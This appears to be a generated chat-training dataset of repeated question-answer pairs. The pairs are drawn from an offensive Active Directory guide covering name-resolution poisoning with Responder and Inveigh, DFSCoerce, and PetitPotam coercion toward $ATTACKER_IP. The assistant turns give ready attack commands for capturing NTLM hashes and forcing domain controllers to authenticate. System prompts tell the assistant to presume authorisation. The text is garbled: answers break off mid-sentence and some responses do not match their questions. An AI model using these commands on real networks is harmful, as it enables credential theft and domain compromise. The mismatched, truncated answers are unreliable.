Attackers can then answer those multicast or broadcast queries. The victims are then redirected to the attacker asking them to authenticate in order to access whatever they ask for. Their authentication is then relayed.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker. Another possibility would be to start similar listeners, and relay the NTLM or Kerberos authentications to other resources the attacker wants to access.

::: tabs

=== UNIX-like

The following command will make Responder analyze the network to see if LLMNR, NBT-NS and mDNS are used, and to inspect BROWSER requests.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

`bash
responder --interface "eth0"
responder -I "eth0"
`

=== Windows

The following command will make Inveigh inspect the network to see if LLMNR, NBT-NS and mDNS are used.

`powerquery
Invoke-Inveigh -ConsoleOutput Y -Inspect
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, DNS, LDAP, ...) will capture NTLM hashes (

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does LLMNR, NBT-NS, mDNS spoofing work?

Response:
In some environments (like Windows ones), multicast name resolution protocols are enabled by default, such as LLMNR (Local-Link Multicast Name Resolution), NBT-NS (NetBIOS Name Service) and mDNS (multicast Domain Name System). Those environments can fallback to those protocols when standard domain name resolution protocols fail. Windows systems attempt to resolve names in the following order: DNS, LLMNR and NBT-NS.

Attackers can then answer those multicast or broadcast queries. The victims are then redirected to the attacker asking them to authenticate in order to access whatever they ask for. Their authentication is then relayed.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker. Another possibility would be to start similar listeners, and relay the NTLM or Kerberos authentications to other resources the attacker wants to access.

::: tabs

=== UNIX-like

The following command will make Responder analyze the network to see if LLMNR, NBT-NS and mDNS are used, and to inspect BROWSER requests.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

`bash
responder --interface "eth0"
responder -I "eth0"
`

=== Windows

The following command will make Inveigh inspect the network to see if LLMNR, NBT-NS and mDNS are used.

`powerquery
Invoke-Inveigh -ConsoleOutput Y -Inspect
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, DNS, LDAP, ...) will capture NTLM hashes (


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute LLMNR, NBT-NS, mDNS spoofing?

[Assistant]
In some environments (like Windows ones), multicast name resolution protocols are enabled by default, such as LLMNR (Local-Link Multicast Name Resolution), NBT-NS (NetBIOS Name Service) and mDNS (multicast Domain Name System). Those environments can fallback to those protocols when standard domain name resolution protocols fail. Windows systems attempt to resolve names in the following order: DNS, LLMNR and NBT-NS.

Attackers can then answer those multicast or broadcast queries. The victims are then redirected to the attacker asking them to authenticate in order to access whatever they ask for. Their authentication is then relayed.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker. Another possibility would be to start similar listeners, and relay the NTLM or Kerberos authentications to other resources the attacker wants to access.

::: tabs

=== UNIX-like

The following command will make Responder analyze the network to see if LLMNR, NBT-NS and mDNS are used, and to inspect BROWSER requests.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

`bash
responder --interface "eth0"
responder -I "eth0"
`

=== Windows

The following command will make Inveigh inspect the network to see if LLMNR, NBT-NS and mDNS are used.

`powerquery
Invoke-Inveigh -ConsoleOutput Y -Inspect
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, DNS, LDAP, ...) will capture NTLM hashes (

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute LLMNR, NBT-NS, mDNS spoofing?

Response:
In some environments (like Windows ones), multicast name resolution protocols are enabled by default, such as LLMNR (Local-Link Multicast Name Resolution), NBT-NS (NetBIOS Name Service) and mDNS (multicast Domain Name System). Those environments can fallback to those protocols when standard domain name resolution protocols fail. Windows systems attempt to resolve names in the following order: DNS, LLMNR and NBT-NS.

Attackers can then answer those multicast or broadcast queries. The victims are then redirected to the attacker asking them to authenticate in order to access whatever they ask for. Their authentication is then relayed.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker. Another possibility would be to start similar listeners, and relay the NTLM or Kerberos authentications to other resources the attacker wants to access.

::: tabs

=== UNIX-like

The following command will make Responder analyze the network to see if LLMNR, NBT-NS and mDNS are used, and to inspect BROWSER requests.

``bash
responder --interface "eth0" --analyze
responder -I "eth0" -A
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

`bash
responder --interface "eth0"
responder -I "eth0"
`

=== Windows

The following command will make Inveigh inspect the network to see if LLMNR, NBT-NS and mDNS are used.

`powerquery
Invoke-Inveigh -ConsoleOutput Y -Inspect
`

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, DNS, LDAP, ...) will capture NTLM hashes (


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the responder command for llmnr, nbt-ns, mdns spoofing

[Assistant]
responder --interface "eth0" --analyze
responder -I "eth0" -A

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the responder command for llmnr, nbt-ns, mdns spoofing

Response:
responder --interface "eth0" --analyze
responder -I "eth0" -A


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on LLMNR, NBT-NS, mDNS spoofing

[Assistant]
responder --interface "eth0" --analyze
responder -I "eth0" -A

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on LLMNR, NBT-NS, mDNS spoofing

Response:
responder --interface "eth0" --analyze
responder -I "eth0" -A


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `responder --interface "eth0" --analyze`?

[Assistant] This command is used for llmnr, nbt-ns, mdns spoofing. LLMNR, NBT-NS, mDNS spoofing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `responder --interface "eth0" --analyze`?

Response: This command is used for llmnr, nbt-ns, mdns spoofing. LLMNR, NBT-NS, mDNS spoofing


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Invoke-Inveigh for llmnr, nbt-ns, mdns spoofing?

[Assistant] Invoke-Inveigh -ConsoleOutput Y -Inspect

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Invoke-Inveigh for llmnr, nbt-ns, mdns spoofing?

Response: Invoke-Inveigh -ConsoleOutput Y -Inspect


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do LLMNR, NBT-NS, mDNS spoofing

[Assistant] Invoke-Inveigh -ConsoleOutput Y -Inspect

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do LLMNR, NBT-NS, mDNS spoofing

Response: Invoke-Inveigh -ConsoleOutput Y -Inspect


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Invoke-Inveigh -ConsoleOutput Y -Inspect`?

[Assistant] This command is used for llmnr, nbt-ns, mdns spoofing. LLMNR, NBT-NS, mDNS spoofing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Invoke-Inveigh -ConsoleOutput Y -Inspect`?

Response: This command is used for llmnr, nbt-ns, mdns spoofing. LLMNR, NBT-NS, mDNS spoofing


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Invoke-Inveigh command for llmnr, nbt-ns, mdns spoofing

[Assistant] Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Invoke-Inveigh command for llmnr, nbt-ns, mdns spoofing

Response: Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do LLMNR, NBT-NS, mDNS spoofing

[Assistant] Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y`?

[Assistant] This command is used for llmnr, nbt-ns, mdns spoofing. LLMNR, NBT-NS, mDNS spoofing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y`?

Response: This command is used for llmnr, nbt-ns, mdns spoofing. LLMNR, NBT-NS, mDNS spoofing


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is MS-DFSNM abuse (DFSCoerce) - Theory?

[Assistant]
MS-DFSNM is Microsoft's Distributed File System Namespace Management protocol. It provides an RPC interface for administering DFS configurations (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\netdfs SMB named pipe.

In mid-2022, Filip Dragovic demonstrated the possibility of abusing the protocol to coerce authentications. Similarly to other MS-RPC abuses, this works by using a specific method relying on remote address. In this case (as of July 6th, 2022), the following methods were detected vulnerable: NetrDfsRemoveStdRoot and NetrDfsAddStdRoot. It is worth noting this coercion method only works against domain controllers.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is MS-DFSNM abuse (DFSCoerce) - Theory?

Response:
MS-DFSNM is Microsoft's Distributed File System Namespace Management protocol. It provides an RPC interface for administering DFS configurations (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\netdfs SMB named pipe.

In mid-2022, Filip Dragovic demonstrated the possibility of abusing the protocol to coerce authentications. Similarly to other MS-RPC abuses, this works by using a specific method relying on remote address. In this case (as of July 6th, 2022), the following methods were detected vulnerable: NetrDfsRemoveStdRoot and NetrDfsAddStdRoot. It is worth noting this coercion method only works against domain controllers.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform MS-DFSNM abuse (DFSCoerce) - Theory?

[Assistant]
MS-DFSNM is Microsoft's Distributed File System Namespace Management protocol. It provides an RPC interface for administering DFS configurations (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\netdfs SMB named pipe.

In mid-2022, Filip Dragovic demonstrated the possibility of abusing the protocol to coerce authentications. Similarly to other MS-RPC abuses, this works by using a specific method relying on remote address. In this case (as of July 6th, 2022), the following methods were detected vulnerable: NetrDfsRemoveStdRoot and NetrDfsAddStdRoot. It is worth noting this coercion method only works against domain controllers.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform MS-DFSNM abuse (DFSCoerce) - Theory?

Response:
MS-DFSNM is Microsoft's Distributed File System Namespace Management protocol. It provides an RPC interface for administering DFS configurations (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\netdfs SMB named pipe.

In mid-2022, Filip Dragovic demonstrated the possibility of abusing the protocol to coerce authentications. Similarly to other MS-RPC abuses, this works by using a specific method relying on remote address. In this case (as of July 6th, 2022), the following methods were detected vulnerable: NetrDfsRemoveStdRoot and NetrDfsAddStdRoot. It is worth noting this coercion method only works against domain controllers.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain MS-DFSNM abuse (DFSCoerce) - Practice

[Assistant]
The following Python proof-of-concept (https://github.com/Wh04m1001/DFSCoerce) implements the NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods.

``bash
dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain MS-DFSNM abuse (DFSCoerce) - Practice

Response:
The following Python proof-of-concept (https://github.com/Wh04m1001/DFSCoerce) implements the NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods.

``bash
dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on MS-DFSNM abuse (DFSCoerce) - Practice

[Assistant]
The following Python proof-of-concept (https://github.com/Wh04m1001/DFSCoerce) implements the NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods.

``bash
dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on MS-DFSNM abuse (DFSCoerce) - Practice

Response:
The following Python proof-of-concept (https://github.com/Wh04m1001/DFSCoerce) implements the NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods.

``bash
dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the dfscoerce.py command to ms-dfsnm abuse (dfscoerce) - practice

[Assistant] dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the dfscoerce.py command to ms-dfsnm abuse (dfscoerce) - practice

Response: dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through MS-DFSNM abuse (DFSCoerce) - Practice

[Assistant] dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through MS-DFSNM abuse (DFSCoerce) - Practice

Response: dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET`?

[Assistant] This command is used for ms-dfsnm abuse (dfscoerce) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `dfscoerce.py -d "domain" -u "user" -p "password" LISTENER TARGET`?

Response: This command is used for ms-dfsnm abuse (dfscoerce) - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is MS-EFSR abuse (PetitPotam) - Theory?

[Assistant]
MS-EFSR is Microsoft's Encrypting File System Remote protocol. It performs maintenance and management operations on encrypted data that is stored remotely and accessed over a network (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\efsrpc, \pipe\lsarpc, \pipe\samr, \pipe\lsass and \pipe\netlogon SMB named pipes.

In 2019, Google's Project Zero research team found and reported a bug on MS-EFSR that could be combined with a NTLM Reflection attack leading to a Local Privilege Elevation. An insufficient path check in MS-EFSR's EfsRpcOpenFileRaw method allowed attackers to force the SYSTEM account into creating an executable file of the attacker's choosing, hence providing the attacker with local admin rights.

While the wider implications of this bug, AD-DS-wise, were only suspected, in 2021, Lionel GILLES used that bug to remotely coerce domain-joined machine's authentication. The coerced authentications are made over SMB. But MS-EFSR abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The following MS-EFSR's methods were detected vulnerable

* EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv (partially patched by Microsoft)
* EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, EfsRpcQueryUsersOnFile, EfsRpcQueryRecoveryAgents, EfsRpcRemoveUsersFromFile, EfsRpcAddUsersToFile, EfsRpcFileKeyInfo, EfsRpcDuplicateEncryptionInfoFile, EfsRpcAddUsersToFileEx (unpatched at the time of this article update, 29th December 2021)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is MS-EFSR abuse (PetitPotam) - Theory?

Response:
MS-EFSR is Microsoft's Encrypting File System Remote protocol. It performs maintenance and management operations on encrypted data that is stored remotely and accessed over a network (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\efsrpc, \pipe\lsarpc, \pipe\samr, \pipe\lsass and \pipe\netlogon SMB named pipes.

In 2019, Google's Project Zero research team found and reported a bug on MS-EFSR that could be combined with a NTLM Reflection attack leading to a Local Privilege Elevation. An insufficient path check in MS-EFSR's EfsRpcOpenFileRaw method allowed attackers to force the SYSTEM account into creating an executable file of the attacker's choosing, hence providing the attacker with local admin rights.

While the wider implications of this bug, AD-DS-wise, were only suspected, in 2021, Lionel GILLES used that bug to remotely coerce domain-joined machine's authentication. The coerced authentications are made over SMB. But MS-EFSR abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The following MS-EFSR's methods were detected vulnerable

* EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv (partially patched by Microsoft)
* EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, EfsRpcQueryUsersOnFile, EfsRpcQueryRecoveryAgents, EfsRpcRemoveUsersFromFile, EfsRpcAddUsersToFile, EfsRpcFileKeyInfo, EfsRpcDuplicateEncryptionInfoFile, EfsRpcAddUsersToFileEx (unpatched at the time of this article update, 29th December 2021)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out MS-EFSR abuse (PetitPotam) - Theory during a pentest?

[Assistant]
MS-EFSR is Microsoft's Encrypting File System Remote protocol. It performs maintenance and management operations on encrypted data that is stored remotely and accessed over a network (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\efsrpc, \pipe\lsarpc, \pipe\samr, \pipe\lsass and \pipe\netlogon SMB named pipes.

In 2019, Google's Project Zero research team found and reported a bug on MS-EFSR that could be combined with a NTLM Reflection attack leading to a Local Privilege Elevation. An insufficient path check in MS-EFSR's EfsRpcOpenFileRaw method allowed attackers to force the SYSTEM account into creating an executable file of the attacker's choosing, hence providing the attacker with local admin rights.

While the wider implications of this bug, AD-DS-wise, were only suspected, in 2021, Lionel GILLES used that bug to remotely coerce domain-joined machine's authentication. The coerced authentications are made over SMB. But MS-EFSR abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The following MS-EFSR's methods were detected vulnerable

* EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv (partially patched by Microsoft)
* EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, EfsRpcQueryUsersOnFile, EfsRpcQueryRecoveryAgents, EfsRpcRemoveUsersFromFile, EfsRpcAddUsersToFile, EfsRpcFileKeyInfo, EfsRpcDuplicateEncryptionInfoFile, EfsRpcAddUsersToFileEx (unpatched at the time of this article update, 29th December 2021)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out MS-EFSR abuse (PetitPotam) - Theory during a pentest?

Response:
MS-EFSR is Microsoft's Encrypting File System Remote protocol. It performs maintenance and management operations on encrypted data that is stored remotely and accessed over a network (docs.microsoft.com) and is available as an RPC interface. That interface is available through the \pipe\efsrpc, \pipe\lsarpc, \pipe\samr, \pipe\lsass and \pipe\netlogon SMB named pipes.

In 2019, Google's Project Zero research team found and reported a bug on MS-EFSR that could be combined with a NTLM Reflection attack leading to a Local Privilege Elevation. An insufficient path check in MS-EFSR's EfsRpcOpenFileRaw method allowed attackers to force the SYSTEM account into creating an executable file of the attacker's choosing, hence providing the attacker with local admin rights.

While the wider implications of this bug, AD-DS-wise, were only suspected, in 2021, Lionel GILLES used that bug to remotely coerce domain-joined machine's authentication. The coerced authentications are made over SMB. But MS-EFSR abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The following MS-EFSR's methods were detected vulnerable

* EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv (partially patched by Microsoft)
* EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, EfsRpcQueryUsersOnFile, EfsRpcQueryRecoveryAgents, EfsRpcRemoveUsersFromFile, EfsRpcAddUsersToFile, EfsRpcFileKeyInfo, EfsRpcDuplicateEncryptionInfoFile, EfsRpcAddUsersToFileEx (unpatched at the time of this article update, 29th December 2021)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about MS-EFSR abuse (PetitPotam) - Practice?

[Assistant]
An authentication can be forced with the original author's proof-of-concepts dubbed "PetitPotam" (available in C and Python) by using a valid AD account's credentials.

``bash
Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
`

An alternative Python implementation (https://github.com/ly4k/PetitPotam) can be used to exploit other unpatched methods that the original implementation doesn't feature.

`bash
petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'
`

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilities of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

> [!IMPORTANT]
> Some tests conducted in lab environments showed that, unlike the MS-RPRN abuse (printbug), a NULL session could potentially be used to trigger that bug, unauthenticated, if allowed by the target. This has only been verified to be working on on Windows Server 2016 and Windows Server 2019 Domain Controllers.
>
> `bash
> Petitpotam.py $ATTACKER_IP $TARGET_IP
> `

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY`) can be required, especially if the target is patched against MS-EFSR abuse (which doesn't completely mitigate the vulnerability). In both tools mentioned above, this is enabled by default only on topotam's one.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about MS-EFSR abuse (PetitPotam) - Practice?

Response:
An authentication can be forced with the original author's proof-of-concepts dubbed "PetitPotam" (available in C and Python) by using a valid AD account's credentials.

``bash
Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
`

An alternative Python implementation (https://github.com/ly4k/PetitPotam) can be used to exploit other unpatched methods that the original implementation doesn't feature.

`bash
petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'
`

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilities of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

> [!IMPORTANT]
> Some tests conducted in lab environments showed that, unlike the MS-RPRN abuse (printbug), a NULL session could potentially be used to trigger that bug, unauthenticated, if allowed by the target. This has only been verified to be working on on Windows Server 2016 and Windows Server 2019 Domain Controllers.
>
> `bash
> Petitpotam.py $ATTACKER_IP $TARGET_IP
> `

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY`) can be required, especially if the target is patched against MS-EFSR abuse (which doesn't completely mitigate the vulnerability). In both tools mentioned above, this is enabled by default only on topotam's one.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform MS-EFSR abuse (PetitPotam) - Practice?

[Assistant]
An authentication can be forced with the original author's proof-of-concepts dubbed "PetitPotam" (available in C and Python) by using a valid AD account's credentials.

``bash
Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
`

An alternative Python implementation (https://github.com/ly4k/PetitPotam) can be used to exploit other unpatched methods that the original implementation doesn't feature.

`bash
petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'
`

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilities of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

> [!IMPORTANT]
> Some tests conducted in lab environments showed that, unlike the MS-RPRN abuse (printbug), a NULL session could potentially be used to trigger that bug, unauthenticated, if allowed by the target. This has only been verified to be working on on Windows Server 2016 and Windows Server 2019 Domain Controllers.
>
> `bash
> Petitpotam.py $ATTACKER_IP $TARGET_IP
> `

> [!NOTE]
> For the proof of concept to work, using a proper security provider (RPC_C_AUTHN_WINNT) and authentication level (RPC_C_AUTHN_LEVEL_PKT_PRIVACY`) can be required, especially if the target is patched against MS-EFSR abuse (which doesn't completely mitigate the vulnerability). In both tools mentioned above, this is enabled by default only on topotam's one.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform MS-EFSR abuse (PetitPotam) - Practice?

Response:
An authentication can be forced with the original author's proof-of-concepts dubbed "PetitPotam" (available in C and Python) by using a valid AD account's credentials.

``bash
Petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
`

An alternative Python implementation (https://github.com/ly4k/PetitPotam) can be used to exploit other unpatched methods that the original implementation doesn't feature.

`bash
petitpotam.py -method AddUsersToFile $TARGET_IP '\\$ATTACKER_IP\share\foo'
`

> [!TIP]
